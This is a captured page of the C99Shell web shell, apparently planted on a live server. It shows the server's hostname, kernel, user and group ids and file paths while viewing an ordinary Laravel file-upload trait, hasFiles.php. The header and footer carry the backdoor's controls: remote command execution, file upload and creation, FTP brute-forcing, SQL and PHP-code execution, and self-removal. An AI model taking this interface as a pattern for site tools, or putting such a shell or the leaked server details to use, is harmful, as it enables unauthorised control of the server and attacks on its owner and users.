!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Traits/ModelTraits/   drwxr-xr-x
Free 25.56 GB of 117.98 GB (21.66%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     hasFiles.php (18.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package hasFiles
 * @author TechVillage <support@techvill.org>
 * @contributor Millat <[millat.techvill@gmail.com]>
 * @created 18-09-2021
 */

namespace App\Traits\ModelTraits;

use 
App\Models\File;
use 
Illuminate\Http\UploadedFile;
use 
Modules\MediaManager\Http\Models\MediaManager;
use 
Modules\MediaManager\Http\Models\ObjectFile;

trait 
hasFiles
{
    
/**
     * object type of file
     * @return string
     */
    
protected function objectType()
    {
        return 
self::getTable();
    }

    protected function 
checkDirectory()
    {
        return 
date("Ymd");
    }

    
/**
     * object id of file
     * @return string
     */
    
protected function objectId()
    {
        return !
is_null($this->id) ? $this->id : static::max('id');
    }

    
/**
     * upload folder of object file
     * @return string
     */
    
protected function uploadPath()
    {
        return 
createDirectory(join(DIRECTORY_SEPARATOR, ['public''uploads'$this->checkDirectory()]));
    }

    
/**
     * Upload thumbnail path
     *
     * @param string $size
     * @return string
     */
    
protected function thumbnailPath($size 'small')
    {
        return 
createDirectory(join(DIRECTORY_SEPARATOR, ['public''uploads'config('martvill.thumbnail_dir'), $size$this->checkDirectory()]));
    }

    protected function 
uploadPathNew()
    {
        return 
createDirectory(join(DIRECTORY_SEPARATOR, ['public''uploads']));
    }

    
/**
     * file path of a give file
     * @param string $fileName
     * @return string
     */
    
protected function filePath($fileName)
    {
        return 
join(DIRECTORY_SEPARATOR, [$this->uploadPathNew(), $fileName]);
    }
    
//remove it later start
    
protected function filePathOld($fileName)
    {
        return 
join(DIRECTORY_SEPARATOR, [$this->uploadPathOld(), $fileName]);
    }
    protected function 
uploadPathOld()
    {
        return 
createDirectory(join(DIRECTORY_SEPARATOR, ['public''uploads'$this->objectType()]));
    }
    
//remove it later end

    
protected function filePathNew($fileName)
    {
        return 
join(DIRECTORY_SEPARATOR, [$this->uploadPathNew(), $fileName]);
    }

    
/**
     * default file
     * @param string $fileName
     * @return string
     */
    
protected function defaultFileUrl(string $type)
    {
        return 
url(defaultImage($type));
    }

    
/**
     * difine relationship of a model
     * @return collection
     */
    
public function file()
    {
        return 
$this->hasOne('App\Models\File''object_id')->where('object_type'$this->objectType());
    }

    public function 
objectFile()
    {
        return 
$this->hasOne('Modules\MediaManager\Http\Models\ObjectFile''object_id')->where(['object_type' => $this->objectType()]);
    }

    public function 
fileNew($id)
    {
        return 
File::where([ 'id' => $id]);
    }

    
/**
     * upload file(s)
     * @param  array  $options
     * @return none
     */
    
public function uploadFiles(array $options = [])
    {
        foreach (
request()->all() as $key => $value) {
            
$file = [];
            if (
request()->hasFile($key)) {
                if (isset(
$options['pagebuilder'])) {
                    
$file request()->file($key);
                } else if (
is_array($value)) {
                    
$file = [request()->$key];
                    if (
is_multidimensional([request()->$key])) {
                        
$file request()->$key;
                    }
                } else if (
pathinfo($value->getClientOriginalName(), PATHINFO_EXTENSION) != 'csv') {
                    
$file = [request()->$key];
                    if (
is_multidimensional([request()->$key])) {
                        
$file request()->$key;
                    }
                } else if (
pathinfo($value->getClientOriginalName(), PATHINFO_EXTENSION) == 'csv') {
                    
$file = [request()->$key];
                    if (
is_multidimensional([request()->$key])) {
                        
$file request()->$key;
                    }
                }

            }
            if (isset(
request()->attachments) && !empty(request()->attachments)) {
                
$file request()->attachments;
                if (
is_multidimensional(request()->attachments)) {
                    foreach (
request()->attachments as $key => $value) {
                        
$file $value;
                    }
                }
            }

            if (
count($file) > 0) {
                if (isset(
request()->deleted_files) && !empty(request()->deleted_files)) {
                    
$deleted explode(','request()->deleted_files);
                    foreach (
$file as $k => $val) {
                        if (
in_array($val->getClientOriginalName(), $deleted)) {
                            unset(
$file[$k]);
                        }
                    }
                    if (empty(
$file)) {
                        return 
false;
                    }
                }

                
$fileIds = (new File)->store($file$this->uploadPath(), $options);
                if (isset(
$options['pagebuilder'])) {
                    return 
$fileIds;
                }
                if (isset(
$options['isSavedInObjectFiles']) && $options['isSavedInObjectFiles'] == true) {
                    
ObjectFile::storeInObjectFiles($this->objectType(), $this->objectId(), $fileIds);
                }
                if (!empty(
$fileIds) && isset($options['thumbnail']) && $options['thumbnail'] == true && checkFileValidation($value->getClientOriginalExtension(), 3) == true) {
                    
$this->createThumbnail($fileIds);
                }
            }
        }
    }

    
/**
     * Get files from request
     * @param string $key
     * @param mixed $value
     * @return array
     */
    
private function getTheseFiles($key$value)
    {
        
$output = [];
        if (
request()->hasFile($key)) {
            if (
is_array($value)) {
                
$output = [request()->file($key)];
                if (
is_multidimensional([request()->file($key)])) {
                    
$output request()->file($key);
                }
            } else if (
pathinfo($value->getClientOriginalName(), PATHINFO_EXTENSION) != 'csv') {
                
$output = [request()->$key];
                if (
is_multidimensional([request()->file($key)])) {
                    
$output request()->file($key);
                }
            }

        }
        if (isset(
request()->attachments) && !empty(request()->attachments)) {
            
$output request()->attachments;
            if (
is_multidimensional(request()->attachments)) {
                foreach (
request()->attachments as $key => $value) {
                    
$output $value;
                }
            }
        }
        return 
$output;
    }

    
/**
     * Checks if input has deleted files then process them
     * @param array $files
     * @return boolean|array
     */
    
private function ifHasDeletedFiles($files)
    {
        if (isset(
request()->deleted_files) && !empty(request()->deleted_files)) {
            
$deleted explode(','request()->deleted_files);
            foreach (
$files as $k => $val) {
                if (
in_array($val->getClientOriginalName(), $deleted)) {
                    unset(
$files[$k]);
                }
            }
            if (empty(
$files)) {
                return 
false;
            }
        }
        return 
$files;
    }

    
/**
     * upload file(s) from url
     * @param  array  $options
     * @return none
     */
    
public function uploadFilesFromUrl($url, array $options = [])
    {
        if (!empty(
$url)) {
            
$fileIds = (new File)->storeFromUrl($url$this->uploadPath(), $options);

            if (isset(
$options['isSavedInObjectFiles']) && $options['isSavedInObjectFiles'] == true) {
                
ObjectFile::storeInObjectFiles($this->objectType(), $this->objectId(), $fileIds);
            }
            if (!empty(
$fileIds) && isset($options['thumbnail']) && $options['thumbnail'] == true) {
                
$this->createThumbnail($fileIds);
            }
        }
    }

    
/**
     * upload file(s)
     * @param  array  $options
     * @return none
     */
    
public function updateFiles(array $options = [])
    {
        if (!empty(
request()->file_id)) {
            foreach (
request()->file_id as $data) {
                if (
is_null($data)) {
                    continue;
                }
                
$mediaManager MediaManager::select('id')->where(['object_type' => $this->objectType(), 'object_id' => $this->objectId()])->first();
                if (
$mediaManager) {
                    
$mediaManager->file_id $data;
                    return 
$mediaManager->save();
                } else {
                    (new 
ObjectFile)->storeInObjectFiles($this->objectType(), $this->objectId(), [$data]);
                }
            }
        } else {
            foreach (
request()->all() as $key => $value) {
                if (
request()->hasFile($key)) {
                    
$file = [request()->$key];
                    if (
is_multidimensional([request()->$key])) {
                        
$file request()->$key;
                    }

                    
$this->deleteFiles(isset($options['thumbnail']) && $options['thumbnail'] == true ? ['thumbnail' => true] : ['thumbnail' => false]);
                    if (!empty(
$file)) {
                        
$fileIds = (new File)->store($file$this->uploadPath(), $options);

                        if (isset(
$options['isSavedInObjectFiles']) && $options['isSavedInObjectFiles'] == true) {
                            
ObjectFile::storeInObjectFiles($this->objectType(), $this->objectId(), $fileIds);
                        }
                        if (!empty(
$fileIds) && isset($options['thumbnail']) && $options['thumbnail'] == true) {
                            
$this->createThumbnail($fileIds);
                        }
                    }
                }
            }
        }

    }

    public function 
fileName(array $options = [])
    {
        
$options array_merge([
            
'default' => true,
            
'type' => $this->objectType()
        ], 
$options);

        return 
$file $this->file()->get();
    }

    
/**
     * get file url from model instance
     * @param  array  $options
     * @return string
     */
    
public function fileUrl(array $options = []): string
    
{
        
$options array_merge([
            
'default' => true,
            
'type' => $this->objectType()
        ], 
$options);

        if (
cache()->has(config('cache.prefix') . '.loadItem.' $this->id )) {
            return 
url($this->filePath(cache()->get(config('cache.prefix') . '.loadItem.' $this->id)));
        } else {
            
$files $this->objectFile()->first();
            
// remove it later start
            
if (is_null($files)) {
                
$file $this->file()->first();
                if (
is_null($file)) {
                    return 
$this->defaultFileUrl($options['type']);
                }

                if (!
file_exists($this->filePathOld($file->file_name))) {
                    return 
$this->defaultFileUrl($options['type']);
                }

                return 
url($this->filePathOld($file->file_name));
            }
            
// remove it later end
            
$file $this->fileNew($files->file_id)->first();

            
$fileName substr($file->file_namestrrpos($file->file_name'\\') + 1);

            if (
is_null($file)) {
                return 
$this->defaultFileUrl($options['type']);
            }
            if (!
file_exists($this->filePath($file->file_name))) {

                if (isset(
$options['defaultImage'])) {
                    return 
'';
                }

                return 
$this->defaultFileUrl($options['type']);
            }
            if (
$this->table == 'items' && isset($options['home'])) {
                
cache()->put([config('cache.prefix') . '.loadItem.' $this->id => $file->file_name], now()->addDays(1));
            }
            return 
url($this->filePath($file->file_name));
        }
    }

    public function 
fileUrlNew(array $options = []): string
    
{
        
$file $this->fileNew($options['id'])->first();
        
$fileName substr($file->file_namestrrpos($file->file_name'\\') + 1);
        if (isset(
$options['isMediamanager']) && (is_null($file) || (!file_exists($this->filePath($file->file_name))))) {
            return 
'';
        }
        if (
is_null($file)) {
            return 
$this->defaultFileUrl('media_managers');
        }
        if (!
file_exists($this->filePath($file->file_name))) {
            return 
$this->defaultFileUrl($options['type']);
        }
        return 
url($this->filePathNew($file->file_name));
    }

    
/**
     * get files url
     * @param  array  $options
     * @return array
     */
    
public function filesUrl(array $options = []): array
    {
        
$options array_merge([
            
'default' => true,
            
'type' => $this->objectType()
        ], 
$options);

        
$files $this->file()->get();

        if (
$files->count() <= ) {
            return [
$this->defaultFileUrl($options['type'])];
        }

        
$filesUrl = [];

        foreach (
$files as $key => $file) {

            if (!
file_exists($this->filePathOld($file->file_name))) {
                
$filesUrl[$key] = $this->defaultFileUrl($options['type']);
            } else {
                
$filesUrl[$key] = url($this->filePathOld($file->file_name));
            }
        }

        return 
$filesUrl;
    }
    public function 
filesUrlNew(array $options = []): array
    {
        
$options array_merge([
            
'default' => true,
            
'type' => $this->objectType()
        ], 
$options);
        if (
cache()->has(config('cache.prefix') . '.loadItem.' $this->id )) {
            return 
url($this->filePath(cache()->get(config('cache.prefix') . '.loadItem.' $this->id)));
        } else {
            
$files $this->objectFile()->get();

            if (
$files->count() <= ) {
                return [];
            }

            
$filesUrlNew = [];
            
$filesPath = [];

            foreach (
$files as $key => $file) {
                
$file $this->fileNew($file->file_id)->first();
                if (!
file_exists($this->filePath($file->file_name))) {
                    
$filesUrlNew[$key] = '';
                    
$filesPath[$key] = $this->defaultFileUrl($options['type']);
                } else {
                    
$filesUrlNew[$key] = $file;
                    
$filesPath[$key] = url($this->filePath($file->file_name));
                }
            }
            return !empty(
$options['imageUrl']) ? $filesPath $filesUrlNew;
        }
    }

    
// remove it later start
    
public function filesUrlold(array $options = []): array
    {
        
$options array_merge([
            
'default' => true,
            
'type' => $this->objectType()
        ], 
$options);

        
$files $this->objectFile()->get();

        if (
$files->count() <= ) {
            return [
$this->defaultFileUrl($options['type'])];
        }

        
$filesUrl = [];

        foreach (
$files as $key => $file) {
            
$file $this->fileNew($file->file_id)->first();
            if (!
file_exists($this->filePath($file->file_name))) {
                
$filesUrl[$key] = $this->defaultFileUrl($options['type']);
            } else {
                
$filesUrl[$key] = url($this->filePath($file->file_name));
            }
        }

        return 
$filesUrl;
    }
    
//remove it later end

    /**
     * delete from media manger
     * @return boolean
     */
    
public function deleteFromMediaManager($options = [])
    {
        
$objectFile $this->objectFile();
        if (!
$objectFile->exists()) {
            return 
true;
        }
        return 
$objectFile->delete() ? true false;
    }

    
/**
     * delete of object file(s)
     * @return json
     */
    
public function deleteFiles(array $options = [])
    {
        
$fileIDs ObjectFile::where(['object_type' => $this->objectType(), 'object_id' => $this->objectId()])
                ->
get()
                ->
pluck('file_id')
                ->
toArray();
        if (empty(
$fileIDs)) {
            return 
false;
        }

        
$IDs = [$fileIDs];
        if (
is_multidimensional([$fileIDs])) {
            
$IDs $fileIDs;
        }

        
$option = ['ids' => $IDs'isExceptId' => false];
        if (isset(
$options['thumbnail']) && $options['thumbnail'] == true) {
            
$option array_merge(['thumbnail' => true'thumbnailPath' => $this->uploadPath() . "/thumbnail"], $option);
        }

        return (new 
File)->deleteFiles(
                
null,
                
null,
                
$option,
                
$this->uploadPathNew()
            );
    }

    public function 
deleteFileObjects(array $options = [])
    {
        
$fileIDs ObjectFile::where(['object_type' => $this->objectType(), 'object_id' => $this->objectId()])
        ->
get()
        ->
pluck('id')
        ->
toArray();
        if (empty(
$fileIDs)) {
            return 
false;
        }
        
$IDs = [$fileIDs];
        if (
is_multidimensional([$fileIDs])) {
            
$IDs $fileIDs;
        }

        
$option = ['ids' => $IDs'isExceptId' => false];
        if (isset(
$options['thumbnail']) && $options['thumbnail'] == true) {
            
$option array_merge(['thumbnail' => true'thumbnailPath' => $this->uploadPath() . "/thumbnail"], $option);
        }

        return (new 
ObjectFile)->deleteFiles(
                
$this->objectType(),
                
$this->objectId(),
                
$option,
                
$this->uploadPath()
            );
    }

    
/**
     * create thumbnail(s)
     * @param  array  $fileIds
     * @return none
     */
    
public function createThumbnail(array $fileIds = [])
    {
        foreach (
$fileIds as $key => $fileId) {
            
$this->makeThumbnail($fileId);
        }
    }

    
/**
     * make thumbnail
     * @param  int  $id
     * @return boolean
     */
    
public function makeThumbnail($id)
    {
        
$uploadedFileName File::find($id)->file_name;
        
$uploadedFilePath asset($this->uploadPath());
        
$thumbnailPath createDirectory($this->uploadPath());
        (new 
File)->resizeImageThumbnail($uploadedFilePath$uploadedFileName$thumbnailPath);
        return 
true;
    }

    
/**
     * check if valid image
     * @param  mixed $file
     * @return boolean
     */
    
private function checkIfValidImage($file)
    {
        try {
            if (! 
$file instanceof UploadedFile) {
                return 
false;
            }
            return 
checkFileValidation($file->getClientOriginalExtension(), 3);
        } catch (
\Throwable $th) {
            return 
false;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--